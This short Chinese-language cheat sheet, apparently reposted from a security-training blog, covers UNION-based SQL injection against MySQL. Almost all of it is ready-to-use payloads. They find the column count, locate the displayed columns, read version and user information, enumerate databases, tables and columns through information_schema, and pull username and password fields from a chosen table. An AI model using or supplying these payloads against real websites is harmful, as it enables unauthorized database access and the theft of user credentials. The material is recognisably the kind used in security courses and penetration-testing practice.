四、SQL+MYSQL注入
暴欄位長度
Order by num/*
暴欄位位置
and 1=2 union select 1,2,3,4,5…..n/*
利用內置函式暴資料庫資訊
version() database() user()
暴庫 (mysql>5.0) Mysql 5 以上有內置庫 information_schema,存盤著mysql的所有資料庫和表結構資訊
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=資料庫(十六進制) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)—
猜欄位
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1
暴密碼
and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/335439.html
標籤:其他
上一篇:中職網安 第二階段加固靶機 筆記
